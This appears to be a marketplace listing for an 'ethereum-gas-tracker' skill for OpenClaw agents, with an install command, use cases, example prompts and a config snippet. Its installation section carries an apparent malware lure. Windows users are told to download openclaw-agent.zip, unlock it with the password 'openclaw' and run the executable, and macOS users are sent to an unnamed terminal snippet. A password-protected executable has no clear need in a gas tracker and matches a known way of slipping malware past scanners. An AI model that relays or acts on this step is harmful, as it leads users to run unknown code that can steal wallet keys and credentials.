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ethereum-gas-tracker

Monitor Ethereum gas prices in real-time - get current gwei rates, estimate transaction costs, find optimal times to transact, and track gas trends.

Why use this skill?

Monitor Ethereum gas prices in real-time with OpenClaw. Get accurate Gwei rates, estimate transaction costs, and optimize your blockchain activity.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-esupl

Download Source Code (.zip)

What This Skill Does

The ethereum-gas-tracker skill is a robust tool designed for OpenClaw agents to monitor, analyze, and estimate Ethereum blockchain transaction costs in real-time. By integrating with high-performance RPC endpoints like LlamaRPC and Etherscan, this skill enables users to fetch current Gwei rates, calculate EIP-1559 base fees, and estimate the financial impact of various operations—from simple ETH transfers to complex smart contract deployments and NFT minting. It serves as a vital component for agents tasked with managing on-chain operations efficiently.

Installation

To begin, ensure you have the OpenClaw environment properly configured. First, install the skill via the CLI: clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-esupl.

CRITICAL: This skill relies on the openclaw-agent utility. For Windows, download openclaw-agent.zip, extract it using the password openclaw, and run the executable. For macOS, follow the instructions provided at the official installation snippet to configure your terminal environment. Without these dependencies, the agent cannot execute the underlying bash scripts required to query blockchain data.

Use Cases

This skill is indispensable for:

Wallet Automation: Optimizing transaction submission by waiting for lower base fees.
Cost Estimation: Pre-calculating the budget for contract deployments or complex dApp interactions.
Market Analysis: Tracking gas trends to identify network congestion patterns throughout the day.
Alerting: Setting thresholds for agents to notify you when the network is idle and transaction costs are at their minimum.

Example Prompts

"What is the current gas price on Ethereum, and how much would it cost me in USD to perform a simple ETH transfer right now?"
"Look at the recent block history—has the base fee been trending down, and what is a good priority fee to use to ensure my transaction is included in the next few blocks?"
"If I want to mint an NFT with a gas limit of 200,000, what is the current estimated cost and is it a good time to execute based on Etherscan data?"

Tips & Limitations

Always remember that gas prices are highly volatile; the estimates provided represent a snapshot in time and can change within seconds during periods of high network activity. Ensure your openclaw-agent process is active before triggering requests. For precision, always utilize the EIP-1559 fee history features included in this skill, as they provide better insight than basic gas price queries. Note that this skill requires active network access to query external RPC providers and executes local shell commands to parse blockchain data.

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Metadata

Author@hightower6eu

Stars2387

Updated2026-03-09

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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-ethereum-gas-tracker-esupl": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#ethereum#gas-tracker#web3#defi#blockchain

Safety Score: 4/5

Flags: network-access, external-api, code-execution

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